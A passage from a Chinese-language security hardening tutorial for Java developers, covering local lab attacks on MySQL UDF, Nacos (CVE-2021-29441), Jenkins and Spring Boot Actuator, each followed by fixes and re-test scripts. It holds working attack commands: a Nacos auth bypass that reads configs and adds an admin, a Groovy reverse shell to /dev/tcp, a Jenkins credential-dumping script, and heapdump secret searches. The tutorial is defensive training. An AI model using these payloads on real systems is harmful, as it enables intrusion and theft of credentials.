if [ "$V" = "0" ]; then ok "3. 无自定义函数(未被植入 UDF)"; else bad "3. 存在 $V 个自定义函数" "★ 可能已被入侵,执行 SELECT * FROM mysql.func; 检查"; fi

# 4. 检查是否有 root@%(允许任意来源的 root)
V=$($CONN "SELECT COUNT(*) FROM mysql.user WHERE user='root' AND host='%';" 2>/dev/null)
if [ "$V" = "0" ]; then ok "4. 无 root@% 账户"; else bad "4. 存在 root@% 账户" "应限制为 root@localhost 或具体 IP"; fi

# 5. 检查空密码账户
V=$($CONN "SELECT COUNT(*) FROM mysql.user WHERE authentication_string='' OR authentication_string IS NULL;" 2>/dev/null)
if [ "$V" = "0" ]; then ok "5. 无空密码账户"; else bad "5. 存在空密码账户" "执行:ALTER USER 'x'@'y' IDENTIFIED BY '新密码';"; fi

# 6. local_infile 应关闭
V=$($CONN "SHOW VARIABLES LIKE 'local_infile';" 2>/dev/null | awk '{print $2}')
if [ "$V" = "OFF" ]; then ok "6. local_infile = OFF"; else bad "6. local_infile = $V" "应设为 0"; fi

# 7. 版本检查
V=$($CONN "SELECT VERSION();" 2>/dev/null)
echo "  [7] MySQL 版本:$V(5.7 已 EOL,建议 8.0+)"

# 8. 敏感字段加密检查
echo "  [8] 敏感字段检查:"
$CONN "SELECT table_schema, table_name, column_name FROM information_schema.columns
       WHERE column_name REGEXP 'pass|pwd|secret|token|idcard|id_card|phone|mobile'
         AND table_schema NOT IN ('mysql','sys','performance_schema','information_schema');" 2>/dev/null \
  | head -10 | sed 's/^/      表:/'

# 9. plugin_dir 是否可写
echo "  [9] 插件目录权限检查:ls -ld \$($CONN \"SHOW VARIABLES LIKE 'plugin_dir';\" | awk '{print \$2}')"
echo "      应为 dr-xr-x--- (不可写)"

# 10. 网络暴露
echo "  [10] 端口暴露检查:ss -lntp | grep 3306    # 不应出现 0.0.0.0:3306"

echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 MySQL 加固验证通过" || echo "⚠️  还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_mysql.sh

7.2.7 面试怎么讲

“数据库层面我关注两类风险。

第一类是数据泄露:拿到查询权限就能 information_schema 拖库。 所以生产必须用最小权限账号——业务账号只有自己库的 CRUD,绝不给 *.* 和 FILE 权限。

第二类是提权,也就是 UDF。 原理是 MySQL 允许加载 C 语言写的 .so 插件当自定义函数, 攻击者把“能执行系统命令的 so”写进 plugin_dir,然后 CREATE FUNCTION sys_exec SONAME 'udf.so', 就能在 SQL 里执行 SELECT sys_eval('whoami')。

三个前提条件:有 FILE 权限、secure_file_priv 为空、能往 plugin_dir 写。 堵住任何一个就行,我们三个都堵了:secure_file_priv 设成专用目录、 收回所有业务账号的 FILE 权限、plugin_dir 设成只读。

另外补一句,就算 UDF 成功了,拿到的通常也只是 mysql 用户权限不是 root, 所以MySQL 一定要用独立低权限用户跑,这也是重要的一环。“


7.3 Nacos 未授权与配置泄露(★ Java 微服务最该关心的一节)

为什么单独给 Nacos 一节: 只要你用 Spring Cloud Alibaba,Nacos 就是你的注册中心 + 配置中心。 它里面存着所有服务的配置——包括数据库密码、Redis 密码、AK/SK、内网地址。 Nacos 没做鉴权 = 把整个公司的密码本放在大门口。

7.3.1 名词

名词 白话解释
Nacos 阿里开源的服务注册中心 + 配置中心。微服务启动时去找它“报到”(注册),同时从它那“取配置”(比如数据库连接串)
Namespace / Group / DataId Nacos 管理配置的三级结构:命名空间(如 dev/test/prod)→ 分组(如 DEFAULT_GROUP)→ 配置 ID(如 application-dev.yml)
user-agent 绕过 Nacos 的一个经典漏洞(CVE-2021-29441):它用 User-Agent 头判断是否放行,只要 UA 里包含 Nacos-Server 就跳过鉴权

7.3.2 搭建靶场

cd ~/vulhub/nacos/CVE-2021-29441
docker compose up -d
docker compose ps
# 预期:
# NAME                    SERVICE   STATUS   PORTS
# cve-2021-29441-nacos-1  nacos     Up       127.0.0.1:8848->8848/tcp

# 探活
curl -s "http://127.0.0.1:8848/nacos/v1/console/health/readiness" 
# 或者
curl -s -o /dev/null -w '%{http_code}\n' "http://127.0.0.1:8848/nacos/"
# 预期:200

7.3.3 攻击一:user-agent 绕过鉴权(CVE-2021-29441)

# ① 正常访问(未登录,应该被拒绝)
curl -s "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=10"
# 预期:
# {"timestamp":"...","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}

# ② ★ 加上 User-Agent: Nacos-Server 后再请求
curl -s -H "User-Agent: Nacos-Server" \
  "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=10"
# 预期输出:
# {"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[
#   {"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}
# ]}
# ★ 拿到了用户列表!password 是 BCrypt 哈希

为什么会有这种漏洞? Nacos 有一个 User-Agent: Nacos-Server 的内部通信机制—— Nacos 集群节点之间互相请求时,用这个 UA 来标识“自己人”,跳过鉴权。 但开发者忘了检查这个请求的来源 IP,任何人都能伪造这个 UA。

安全设计教训: “我是自己人”这种声明,绝不能只靠一个请求头判断。 正确的做法是:① 检查来源 IP 是否在白名单里;② 或者用双向 TLS 证书;③ 或者用签名。

生活类比:公司门禁用“报工号“验证身份。结果外人听到了一个工号,报出来就进去了。

BCrypt 哈希能破解吗?

# nacos 的 BCrypt 哈希 $2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu
# 对应的明文是 nacos(Nacos 的默认密码)
# 验证:
python3 -c "
import bcrypt
h = b'\$2a\$10\$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu'
print(bcrypt.checkpw(b'nacos', h))    # True
print(bcrypt.checkpw(b'nacos123', h)) # False
"

7.3.4 攻击二:拖走所有配置(★ 真正致命的一步)

# ① 列出所有命名空间
curl -s -H "User-Agent: Nacos-Server" \
  "http://127.0.0.1:8848/nacos/v1/console/namespaces"
# 预期:
# {"code":200,"message":null,"data":[
#   {"namespace":"","namespaceShowName":"public","quota":200,"configCount":5,"type":0},
#   {"namespace":"dev-id","namespaceShowName":"dev",...},
#   {"namespace":"prod-id","namespaceShowName":"prod",...}
# ]}

# ② 列出某个命名空间下的所有配置
curl -s -H "User-Agent: Nacos-Server" \
  "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=100"
# 预期(节选):
# {"totalCount":5,"pageNumber":1,"pagesAvailable":1,"pageItems":[
#   {"id":"123","dataId":"application-dev.yml","group":"DEFAULT_GROUP","content":"...","md5":"...",...},
#   {"id":"124","dataId":"datasource.yml","group":"DEFAULT_GROUP","content":"...",...},
#   ...
# ]}

# ③ ★ 读取具体配置内容(这是最有价值的一步)
curl -s -H "User-Agent: Nacos-Server" \
  "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=datasource.yml&group=DEFAULT_GROUP"

预期看到的内容(★ 这就是为什么 Nacos 泄露是 P0 级事故):

spring:
  datasource:
    url: jdbc:mysql://10.0.1.20:3306/prod_order?useSSL=false
    username: root
    password: Prod@Db#2026!Secure      # ★★ 生产数据库密码!
  redis:
    host: 10.0.1.30
    port: 6379
    password: Redis@Prod#8888          # ★★ Redis 密码!
  cloud:
    alicloud:
      access-key: LTAI5tXXXXXXXXXXXX   # ★★ 阿里云 AK
      secret-key: Xk9mP2vQ7nRXXXXXXXX  # ★★ 阿里云 SK
      oss:
        bucket: company-prod-files
jwt:
  secret: my-jwt-signing-key-2026      # ★★ JWT 签名密钥(能伪造任意用户身份!)

停下来算一笔账: 攻击者拿到这一份配置后,依次可以: ① 用数据库密码直连生产库(如果数据库也对公网开了)→ 拖库 ② 用 Redis 密码连接 Redis → 写 crontab → GetShell ③ 用阿里云 AK/SK → 接管整个云账号(创建子账号、开 100 台矿机、删 OSS 文件) ④ 用 JWT 密钥 → 伪造任意用户的登录凭证(包括管理员)

一份配置 = 整个公司的钥匙串。 这就是为什么 Nacos 必须做鉴权。

7.3.5 攻击三:添加用户 / RCE

# 添加一个管理员账号(为后续登录控制台做准备)
curl -s -X POST -H "User-Agent: Nacos-Server" \
  "http://127.0.0.1:8848/nacos/v1/auth/users?username=hacker&password=Hack@123456"
# 预期:{"code":200,"message":null,"data":"create user ok!"}

# 用新账号登录,拿 accessToken
curl -s -X POST "http://127.0.0.1:8848/nacos/v1/auth/users/login" \
  -d "username=hacker&password=Hack@123456"
# 预期:
# {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWNrZXIi...","tokenTtl":18000,"globalAdmin":true,...}
# ★ globalAdmin: true = 超级管理员

# 用这个 token 就能正常登录控制台,做任何事

部分版本还能 RCE(通过 Derby SQL 或 Hessian 反序列化),这里不展开, 因为它依赖具体版本,实战中重点是前面的配置泄露——那个对所有版本都适用。

7.3.6 修复

# nacos/conf/application.properties

# 【修复 1,★ 最重要】开启鉴权
nacos.core.auth.enabled=true

# 【修复 2】设置身份识别的密钥(★ 不设会有默认值,等于没设)
# 生成方式:openssl rand -base64 32
nacos.core.auth.server.identity.key=your-random-identity-key-Xk9mP2vQ
nacos.core.auth.server.identity.value=your-random-identity-value-7nR4tY8w

# 【修复 3】设置 JWT 密钥(★ 必须是 Base64 且至少 32 字节)
nacos.core.auth.plugin.nacos.token.secret.key=U2VjcmV0S2V5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1

# 【修复 4】关闭 user-agent 白名单(★ 修复 CVE-2021-29441 的关键)
nacos.core.auth.enable.userAgentAuthWhite=false

# 【修复 5】升级到 2.2.0+(修了大量历史漏洞)
# 版本要求:>= 2.2.0(2023 年后)

# 【修复 6】不要用默认账号密码
# 默认:nacos / nacos   ★ 必须改!

docker-compose 加固版:

version: '3'
services:
  nacos:
    image: nacos/nacos-server:v2.3.2
    container_name: nacos-secure
    environment:
      MODE: standalone
      # ★★ 开启鉴权
      NACOS_AUTH_ENABLE: "true"
      NACOS_AUTH_TOKEN: "${NACOS_AUTH_TOKEN}"            # 从环境变量注入
      NACOS_AUTH_IDENTITY_KEY: "${NACOS_IDENTITY_KEY}"
      NACOS_AUTH_IDENTITY_VALUE: "${NACOS_IDENTITY_VALUE}"
      # ★ 关闭 UA 白名单
      NACOS_AUTH_USER_AGENT_AUTH_WHITE_ENABLE: "false"
    ports:
      - "127.0.0.1:8848:8848"       # ★ 只监听本地
      # - "127.0.0.1:9848:9848"     # gRPC 端口,2.x 需要(client 与 server 通信)
      # - "127.0.0.1:9849:9849"
    networks:
      - lab-net
networks:
  lab-net:

生成密钥:

# JWT 密钥(必须 Base64,至少 32 字节)
openssl rand -base64 32
# 输出:U2VjcmV0S2V5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTA=

# identity key/value(任意随机字符串)
openssl rand -hex 16
openssl rand -hex 16

配置中心本身的安全规范(★ 治本):

┌──────────────────────────────────────────────────────────┐
│  ★ 核心原则:配置中心里【不放明文密钥】                    │
├──────────────────────────────────────────────────────────┤
│  错误做法:                                                │
│    datasource.password: Prod@Db#2026!Secure              │
│                                                           │
│  正确做法(三选一):                                       │
│  ① 配置中心只放【密文】,应用启动时用 KMS/本地密钥解密      │
│     datasource.password: ENC(AQBx8fJ2kL...)               │
│     (用 Jasypt / Spring Cloud Config 的加密功能)          │
│                                                           │
│  ② 配置中心只放【引用】,真正的密钥在 KMS / Vault 里        │
│     datasource.password: ${vault:secret/data/prod/db#pw}  │
│                                                           │
│  ③ 用云厂商的【RAM 角色 / 实例角色】,代码里根本不出现 AK   │
│     应用通过 STS 临时凭证访问 OSS,凭证 1 小时过期          │
└──────────────────────────────────────────────────────────┘

Jasypt 加密配置示例:

<!-- pom.xml -->
<dependency>
    <groupId>com.github.ulisesbocchio</groupId>
    <artifactId>jasypt-spring-boot-starter</artifactId>
    <version>3.0.5</version>
</dependency>
# application.yml(配置中心里放的是密文)
spring:
  datasource:
    password: ENC(Xk9mP2vQ7nR4tY8wZ1aB6cEdF3gH5jK7mN9pQ2rS4tU=)

jasypt:
  encryptor:
    algorithm: PBEWithHMACSHA512AndAES_256
    # ★ 主密钥从环境变量注入,绝不放配置中心
    password: ${JASYPT_MASTER_PASSWORD}
# 启动时注入主密钥
export JASYPT_MASTER_PASSWORD="$(openssl rand -base64 24)"
java -jar app.jar

# 加密某个值
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI \
  input="Prod@Db#2026!Secure" \
  password="$JASYPT_MASTER_PASSWORD" \
  algorithm=PBEWithHMACSHA512AndAES_256

7.3.7 复测脚本

cat > /tmp/verify_nacos.sh <<'SCRIPT'
#!/bin/bash
# Nacos 安全加固复测(共 8 项)
TARGET="${1:-http://127.0.0.1:8848}"
pass=0; fail=0
ok()  { echo "  ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo "  ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }

echo "=== Nacos 加固复测(共 8 项)==="

# 1. user-agent 绕过应失效(CVE-2021-29441)
R=$(curl -s -H "User-Agent: Nacos-Server" "$TARGET/nacos/v1/auth/users?pageNo=1&pageSize=10")
if echo "$R" | grep -qiE "Forbidden|403|unknown user|未授权"; then
  ok "1. User-Agent: Nacos-Server 绕过失效"
else
  bad "1. ★ User-Agent 绕过仍有效" "返回:${R:0:100}"
fi

# 2. 不带 UA 的未授权访问
R=$(curl -s "$TARGET/nacos/v1/auth/users?pageNo=1&pageSize=10")
if echo "$R" | grep -qiE "Forbidden|403|unknown user"; then
  ok "2. 未授权访问被拒绝"
else
  bad "2. 未授权可读用户列表" "返回:${R:0:100}"
fi

# 3. 未授权读配置
R=$(curl -s -H "User-Agent: Nacos-Server" "$TARGET/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=10")
if echo "$R" | grep -qiE "Forbidden|403|unknown user"; then
  ok "3. 未授权读配置被拒绝"
else
  bad "3. ★ 未授权可列配置" "返回:${R:0:100}"
fi

# 4. 未授权创建用户
R=$(curl -s -X POST -H "User-Agent: Nacos-Server" \
     "$TARGET/nacos/v1/auth/users?username=_verify_test&password=Test@123")
if echo "$R" | grep -qiE "Forbidden|403|unknown user"; then
  ok "4. 未授权创建用户被拒绝"
else
  bad "4. ★ 未授权可创建用户" "返回:${R:0:100}"
fi

# 5. 默认口令检查
R=$(curl -s -X POST "$TARGET/nacos/v1/auth/users/login" -d "username=nacos&password=nacos")
if echo "$R" | grep -qi "accessToken"; then
  bad "5. ★ 默认口令 nacos/nacos 仍可用" "立即修改!"
else
  ok "5. 默认口令已修改"
fi

# 6. 弱口令检查
for p in nacos123 Nacos@123 nacos#123 admin123; do
  R=$(curl -s -X POST "$TARGET/nacos/v1/auth/users/login" -d "username=nacos&password=$p")
  if echo "$R" | grep -qi "accessToken"; then
    bad "6. ★ 弱口令可用:nacos/$p" ""; break
  fi
done
[ $? -ne 0 ] || ok "6. 常见弱口令均不可用"

# 7. 配置内容检查(需要 token,这里提示手工检查)
echo "  [7] 手工检查:登录控制台,搜索配置中是否含明文密码/AK"
echo "      grep -riE 'password:|secret|access-key|accessKey' 导出的配置文件"
echo "      要求:敏感值必须是 ENC(...) 或 \${vault:...} 形式"

# 8. 版本与端口
echo "  [8] 版本检查:应 >= 2.2.0"
echo "      端口检查:ss -lntp | grep 8848   # 不应有 0.0.0.0:8848"
echo "      ★ 2.x 还需检查 9848/9849(gRPC)端口是否也只监听内网"

echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Nacos 加固验证通过" || echo "⚠️  还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_nacos.sh

7.4 Jenkins 未授权与 RCE

Jenkins 是 CI/CD 的核心,也是攻击者的“金矿”: ① 它存储了所有代码仓库的凭据(Git 账号、Docker 仓库密码、K8s 证书) ② 它有执行任意脚本的能力(构建脚本) ③ 很多公司的 Jenkins 直接暴露在公网(为了方便开发访问)

7.4.1 攻击面速览

入口 能干什么
未授权访问首页 看所有 Job 名、构建历史、源码
Script Console(/script) ★ 执行任意 Groovy 脚本 = 直接 RCE
Credentials(/credentials) ★ 拖走所有凭据(Git/SH/数据库/K8s 证书)
Job 配置页 看构建脚本里的环境变量和密码
构建历史日志 ★ 日志里经常明文打印密码(echo $PASSWORD)
CVE-2018-1000861 等 绕过 ACL 达到 RCE

7.4.2 搭建靶场

cd ~/vulhub/jenkins/CVE-2018-1000861     # 未授权 RCE 环境
docker compose up -d
docker compose ps
# 预期:
# NAME                  SERVICE   STATUS   PORTS
# jenkins-8080-jenkins-1 jenkins  Up       127.0.0.1:8080->8080/tcp

# 探活(未授权即可访问)
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8080/
# 预期:200/403(不同版本不同)

7.4.3 攻击一:Script Console 执行 Groovy(最直接)

如果能访问 /script(脚本命令行),就等价于拿到了服务器 Shell。

Groovy 脚本执行系统命令:

// 在 Jenkins 的 /script 页面(http://127.0.0.1:8080/script)粘贴执行

// 方式 1:最简单
println "whoami".execute().text

// 方式 2:带参数(★ 推荐,避免 shell 解析问题)
def proc = ["bash", "-c", "id; hostname; cat /etc/passwd | head -5"].execute()
println proc.in.text

// 方式 3:反弹 Shell(GetShell)
def cmd = ["bash", "-c", "bash -i >& /dev/tcp/host.docker.internal/8888 0>&1"].execute()
cmd.waitFor()

预期输出(方式 2):

uid=0(root) gid=0(root) groups=0(root)
a1b2c3d4e5f6
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

★ 关键认知:Jenkins 的 Script Console 就是设计来“执行任意 Groovy 代码”的—— 这不是漏洞,是功能。所以防御的唯一办法是不给未授权用户访问它。

这和第 6.7 节 Gateway 的 Actuator 是同一类问题: 一个强大的管理功能 + 没有访问控制 = 灾难。

7.4.4 攻击二:拖走所有凭据(★ 价值最高)

// 在 /script 执行:列出所有凭据
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
import jenkins.model.*

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance,
    null,
    null
)

println "===== 用户名密码类凭据 ====="
for (c in creds) {
    println "ID: ${c.id}"
    println "  描述: ${c.description}"
    println "  用户名: ${c.username}"
    println "  密码: ${c.password}"      // ★★ 明文!
    println "---"
}

// 列出 SSH 私钥
def sshCreds = CredentialsProvider.lookupCredentials(
    com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
    Jenkins.instance, null, null
)
println "===== SSH 私钥 ====="
for (c in sshCreds) {
    println "ID: ${c.id}"
    println "  用户名: ${c.username}"
    println "  私钥:\n${c.privateKey}"
}

// 列出 Secret Text(如 API Token)
def textCreds = CredentialsProvider.lookupCredentials(
    org.jenkinsci.plugins.plaincredentials.StringCredentials.class,
    Jenkins.instance, null, null
)
println "===== Secret Text ====="
for (c in textCreds) {
    println "ID: ${c.id}  值: ${c.secret}"
}

预期输出:

===== 用户名密码类凭据 =====
ID: gitlab-cred
  描述: GitLab 账号
  用户名: deploy-bot
  密码: Git@Deploy#2026
---
ID: harbor-cred
  描述: Harbor 镜像仓库
  用户名: admin
  密码: Harbor@Prod#777
---
ID: prod-db
  描述: 生产数据库
  用户名: root
  密码: Prod@Db#2026!Secure
---
===== SSH 私钥 =====
ID: prod-server-ssh
  用户名: root
  私钥:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxk9mP2vQ7nR4...
-----END RSA PRIVATE KEY-----
===== Secret Text =====
ID: dingtalk-token  值: a1b2c3d4e5f6g7h8i9j0...

拿到了 SSH 私钥意味着什么? 攻击者可以直接 SSH 登录所有生产服务器——不需要任何漏洞利用, 因为人家是“拿着正确的钥匙开门”。 而且这种登录在服务器日志里看起来完全正常(合法用户登录),极难发现。

7.4.5 攻击三:从构建日志里找密码

即使拿不到凭据,构建历史日志里也经常有惊喜:

# 列出所有 Job
curl -s "http://127.0.0.1:8080/api/json?tree=jobs[name,url]" | python3 -m json.tool

# 拉取某个 Job 的构建日志
curl -s "http://127.0.0.1:8080/job/my-app/lastBuild/consoleText" > /tmp/build.log

# ★ 搜索日志里的敏感信息
grep -inE "password|passwd|pwd|secret|token|api[_-]?key|access[_-]?key|私钥|密码" /tmp/build.log

常见的“日志泄露密码”场景:

# Jenkinsfile 里这么写,密码就会进日志
sh "docker login -u ${USER} -p ${PASSWORD}"      # ❌ docker 会警告但不至于打印

sh "set -x; curl -u ${USER}:${PASSWORD} https://api.example.com"   # ❌ set -x 会打印整条命令

echo "部署到 ${SERVER},使用密码 ${PASSWORD}"      # ❌ 直接 echo

env | sort                                        # ❌ 打印所有环境变量(含密码)

sh "mvn deploy -Dmaven.password=${PASSWORD}"      # ❌ 命令显示在日志里

7.4.6 修复

【修复 1】开启认证(★ 最基本)

Manage Jenkins → Security → Configure Global Security
  ☑ Enable security
  Security Realm: Jenkins' own user database(或 LDAP / SSO)
  Authorization:
    ◉ Matrix-based security      ← ★ 用矩阵权限,细粒度控制
      匿名用户:Overall/Read 取消勾选(★ 关键)
      普通开发:Job/Read, Job/Build
      管理员:全部

  ⚠️ 不要选 "Anyone can do anything"(很多老 Jenkins 是这么配的)
  ⚠️ 不要选 "Logged-in users can do anything"(权限过大)

【修复 2】禁用/保护 Script Console

方案 A:用 Matrix 权限,只给 admin 的 Overall/RunScripts 权限

方案 B:用插件 Script Security Plugin(默认已装),
        它要求 Groovy 脚本必须被管理员审批(In-process Script Approval)
        Manage Jenkins → In-process Script Approval

方案 C:物理删除(最彻底)
        rm -rf /var/jenkins_home/war/WEB-INF/...(不推荐,可能影响功能)

【修复 3】凭据加密 + 最小权限

★ Jenkins 的凭据默认是【加密存储】的(存在 credentials.xml 里,用 master.key 加密)
  但 Script Console 能在运行时【解密并读出明文】——所以加密只能防"偷文件",防不了"拿 Shell"

★ 更重要的:
  ① 按环境隔离凭据:prod-db-cred 只允许 prod-deploy 这个 Job 用
     做法:凭据配置里设置 "Scope" 和 "Restrict where this credential can be used"
  ② 用【Folder】隔离:不同团队的 Job 放不同 Folder,凭据不共享
  ③ 定期轮换:Git Token / 数据库密码每 3~6 个月换一次

【修复 4】日志脱敏

// Jenkinsfile 里:用 maskPasswords 或 withCredentials
pipeline {
  agent any
  stages {
    stage('Deploy') {
      steps {
        // ✅ 正确:withCredentials 会自动在日志里把密码替换成 ****
        withCredentials([usernamePassword(
          credentialsId: 'prod-db',
          usernameVariable: 'DB_USER',
          passwordVariable: 'DB_PASS'
        )]) {
          sh '''
            echo "连接数据库:${DB_USER}"        // ✅ 用户名可以打
            # 密码用环境变量引用,Jenkins 会自动脱敏
            mysql -u${DB_USER} -p${DB_PASS} -h prod-db < migrate.sql
          '''
        }
      }
    }
  }
  options {
    // ★ 全局开启构建日志的密码脱敏
    maskPasswords()
  }
  // ❌ 错误写法:
  // sh "echo 密码是 ${DB_PASS}"      // 会明文打印
  // sh "env | sort"                   // 会打印所有环境变量
}

【修复 5】网络与版本

① 不暴露公网:Jenkins 只允许从办公网/VPN 访问,
   或前面挂一层反向代理做认证 + 限流
② 升级 Jenkins 和插件(Jenkins 的插件漏洞非常多!)
   Manage Jenkins → Manage Plugins → 看有没有安全警告
③ Agent 与 Master 隔离:构建任务跑在 Agent 上,
   即使 Agent 被攻破,Master(含凭据)不受影响
④ 定期备份 + 审计日志插件(Audit Trail Plugin)

7.4.7 复测脚本

cat > /tmp/verify_jenkins.sh <<'SCRIPT'
#!/bin/bash
# Jenkins 安全加固复测(共 9 项)
TARGET="${1:-http://127.0.0.1:8080}"
pass=0; fail=0
ok()  { echo "  ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo "  ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }

echo "=== Jenkins 加固复测(共 9 项)==="
echo "目标:$TARGET"
echo ""

# 1. 匿名访问首页
C=$(curl -s -o /tmp/_j.txt -w '%{http_code}' "$TARGET/")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "1. 匿名访问被拒绝(HTTP $C)"
elif grep -qi "log in\|登录\|sign in" /tmp/_j.txt; then ok "1. 首页跳转到登录页"
else bad "1. 匿名可访问首页(HTTP $C)" "应要求登录"; fi

# 2. Script Console(★ 最危险)
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/script")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "2. /script 不可访问"
else bad "2. ★ /script 可访问(HTTP $C)" "★ 等价于把服务器 Shell 给了别人,立即修复"; fi

# 3. 凭据页面
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/credentials/")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "3. /credentials 不可访问"
else bad "3. ★ 凭据页面可访问(HTTP $C)" "所有 Git/DB/K8s 密码会泄露"; fi

# 4. 系统信息
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/systemInfo")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "4. /systemInfo 不可访问"
else bad "4. 系统信息可访问(HTTP $C)" "会泄露版本、路径、环境变量"; fi

# 5. API 匿名访问
R=$(curl -s "$TARGET/api/json")
if echo "$R" | grep -qi "jobs"; then bad "5. 匿名 API 可列 Job" "返回:${R:0:80}"
else ok "5. 匿名 API 被拒绝"; fi

# 6. 构建日志
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/job/test/lastBuild/consoleText")
[ "$C" = "404" ] && ok "6. 构建日志不可匿名访问" || echo "  ℹ️  [6] Job 不存在或可访问(HTTP $C)"

# 7. 检查 X-Protection 头(旧版 Jenkins 的 CSRF 防护头)
H=$(curl -s -D - -o /dev/null "$TARGET/" | grep -i "x-jenkins")
echo "  [7] Jenkins 指纹头:${H:-无}"
echo "      ⚠️  暴露版本号会方便攻击者匹配 CVE,建议用反向代理去掉该头"

# 8. 默认口令
for u in admin:admin admin:123456 jenkins:jenkins; do
  U="${u%%:*}"; P="${u##*:}"
  R=$(curl -s -o /dev/null -w '%{http_code}' -u "$U:$P" "$TARGET/api/json")
  [ "$R" = "200" ] && bad "8. ★ 弱口令可用:$u" "" && break
done
[ "$R" != "200" ] && ok "8. 常见弱口令不可用"

# 9. 插件与版本
echo "  [9] 手工检查:"
echo "      Manage Jenkins → Manage Plugins → 看是否有安全警告(红色提示)"
echo "      Manage Jenkins → Security → 确认 'CSRF Protection' 已启用"
echo "      确认 'Enable authentication' 已启用且匿名无 Overall/Read 权限"

echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Jenkins 加固验证通过" || echo "⚠️  还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_jenkins.sh

7.5 Actuator / Druid / Swagger:Java 应用自己的“后门”

这一节最贴近你的日常开发——前面那些是运维的问题, 这一节是你写代码时的选择造成的问题。

7.5.1 Spring Boot Actuator

Actuator 是什么:Spring Boot 提供的生产监控端点,能看健康状态、环境变量、Bean 列表、线程栈、堆内存……

危险端点清单(★ 暴露任何一个都可能致命):

端点 泄露什么 危险等级
/actuator/heapdump ★ 整个 JVM 堆内存快照(含所有密码、Token、密钥的明文!) ★★★★★
/actuator/env 所有环境变量和配置(数据库密码会被脱敏,但经常脱敏不全) ★★★★★
/actuator/beans 所有 Bean 的定义(泄露业务结构) ★★
/actuator/threaddump 所有线程的堆栈(泄露代码逻辑、SQL) ★★★
/actuator/mappings 所有 API 路径(攻击者拿到完整的接口清单) ★★★
/actuator/health 健康状态(一般无害,但可能泄露依赖组件信息) ★
/actuator/loggers ★ 可以动态改日志级别(配合其他漏洞能触发更多信息泄露) ★★★
/actuator/gateway/routes ★ 网关路由,可 RCE(6.7 节讲过) ★★★★★
/actuator/restart / /shutdown ★ 重启/关闭应用(直接 DoS) ★★★★★

7.5.2 动手:从 heapdump 里捞密码(★ 最震撼的实验)

heapdump 是 JVM 的内存快照,里面所有在内存里的对象都在——包括数据库密码的 String 对象。

# 前提:你的靶场开了 heapdump(第一章的 application.yml 里故意全开了)

# ① 下载 heapdump(可能几十 MB)
curl -s -o /tmp/heapdump.hprof \
  "http://127.0.0.1:8888/actuator/heapdump"
ls -lh /tmp/heapdump.hprof
# 预期:-rw-r--r-- 1 user user 45M Sep  4 04:30 /tmp/heapdump.hprof

# ② 从里面搜敏感字符串(★ 最简单粗暴但极其有效)
strings /tmp/heapdump.hprof | grep -iE "password|passwd|secret|accesskey|access_key|ak_|token" | sort -u | head -30

预期输出(★ 震撼時刻):

spring.datasource.password=Prod@Db#2026!Secure
redis.password=Redis@Prod#8888
aws.accessKeyId=LTAI5tXXXXXXXXXXXX
aws.secretAccessKey=Xk9mP2vQ7nRXXXXXXXX
jwt.secret=my-jwt-signing-key-2026
aliyun.oss.accessKey=LTAI5tYYYYYYYYYYYY
...
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInJvbGVzIjoiUk9MRV9BRE1JTiJ9.xxx   ← 一个有效的 JWT!
password=zhangsan123                                                        ← 某个用户的明文密码

为什么能拿到这些? 因为 Java 的 String 对象在内存里就是普通对象, 而 Spring 把配置(application.yml 里的值)解析成对象后放在内存里, heapdump 会把整个堆原样 dump 出来,包括这些 String 的内容。

★ 注意:/actuator/env 里 Spring Boot 会自动脱敏(把密码显示成 ******), 但 heapdump 不会脱敏——它是原始内存。 所以**“env 脱敏了就安全”是错觉**。

用专业工具分析(更系统):

# 用 Eclipse MAT(Memory Analyzer Tool)打开 heapdump
# 或者用命令行工具 jhat / jvisualvm

